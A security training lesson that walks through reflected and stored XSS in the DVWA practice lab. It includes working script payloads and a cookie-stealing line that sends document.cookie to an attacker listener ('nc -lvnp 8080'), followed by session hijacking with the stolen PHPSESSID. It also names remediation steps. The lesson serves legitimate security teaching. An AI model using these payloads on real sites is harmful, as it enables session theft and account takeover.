Cross-Site Scripting (XSS)
Cross-site scripting allows attackers to inject malicious JavaScript into web pages viewed by other users, enabling session hijacking, credential theft, and malware distribution. You will learn the three types of XSS — reflected, stored, and DOM-based — and practice exploiting each one. XSS is consistently one of the most common vulnerabilities found in bug bounty programs.
Learning Objectives — Deep Dive
Each objective below is broken down into plain English so you know exactly what you are learning, why it matters, and what you will be able to do when you are done. Mark each one complete as you work through the lesson.
Set up DVWA
Ensure DVWA is running and accessible at http://<target-ip>/dvwa with the security level set to Low. Navigate to the XSS (Reflected) module in the left sidebar — this module takes a name parameter from the URL and reflects it back into the HTML response without sanitization. Open your browser's developer tools (F12) and keep the Console and Network tabs visible so you can observe the JavaScript execution and HTTP requests as you test. Having the page source visible alongside the rendered output helps you understand exactly how your input is being embedded in the HTML.
Test with a basic alert
In the DVWA XSS (Reflected) module, enter <script>alert('XSS')</script> in the name field and click Submit. If a JavaScript alert dialog appears with the text 'XSS', the application is reflecting your input as executable HTML without encoding it. This confirms a reflected XSS vulnerability — the script executes in the context of the victim's browser, with access to their cookies, session tokens, and the DOM. Note that modern browsers may block some alert-based XSS in certain contexts; if the alert does not appear, try <img src=x onerror=alert(1)> as an alternative payload.
Confirm stored XSS
Navigate to the XSS (Stored) module in DVWA and enter a benign payload such as <b>test</b> in the message field to confirm that HTML is being stored and rendered. Then enter <script>alert('Stored XSS')</script> as the message and submit it. Reload the page — if the alert fires on every page load, the script has been stored in the database and will execute for every user who visits the page. Stored XSS is more dangerous than reflected XSS because it does not require the victim to click a crafted link — the payload is served automatically from the application itself.
Steal a cookie
Set up a simple HTTP listener on your Kali machine with 'nc -lvnp 8080' to receive incoming connections. In the DVWA Stored XSS module, inject the payload: <script>new Image().src='http://<kali-ip>:8080/?c='+document.cookie</script>. When any user loads the page containing this stored payload, their browser will make a request to your listener with their session cookie appended to the URL. Your netcat listener will display the incoming request including the full cookie value. This demonstrates how XSS can be used to hijack authenticated sessions without knowing the victim's password.
Verify cookie theft
Copy the session cookie value captured by your netcat listener and use it to impersonate the victim. In your browser, open the developer tools, navigate to the Application tab, and manually set the PHPSESSID cookie to the stolen value. Reload the DVWA page — you should now be logged in as the victim without entering any credentials. This end-to-end demonstration shows the complete attack chain: inject payload, steal cookie, hijack session. Document each step with screenshots for your report, noting the vulnerability type (Stored XSS), the impact (session hijacking), and the remediation (output encoding and HttpOnly cookie flag).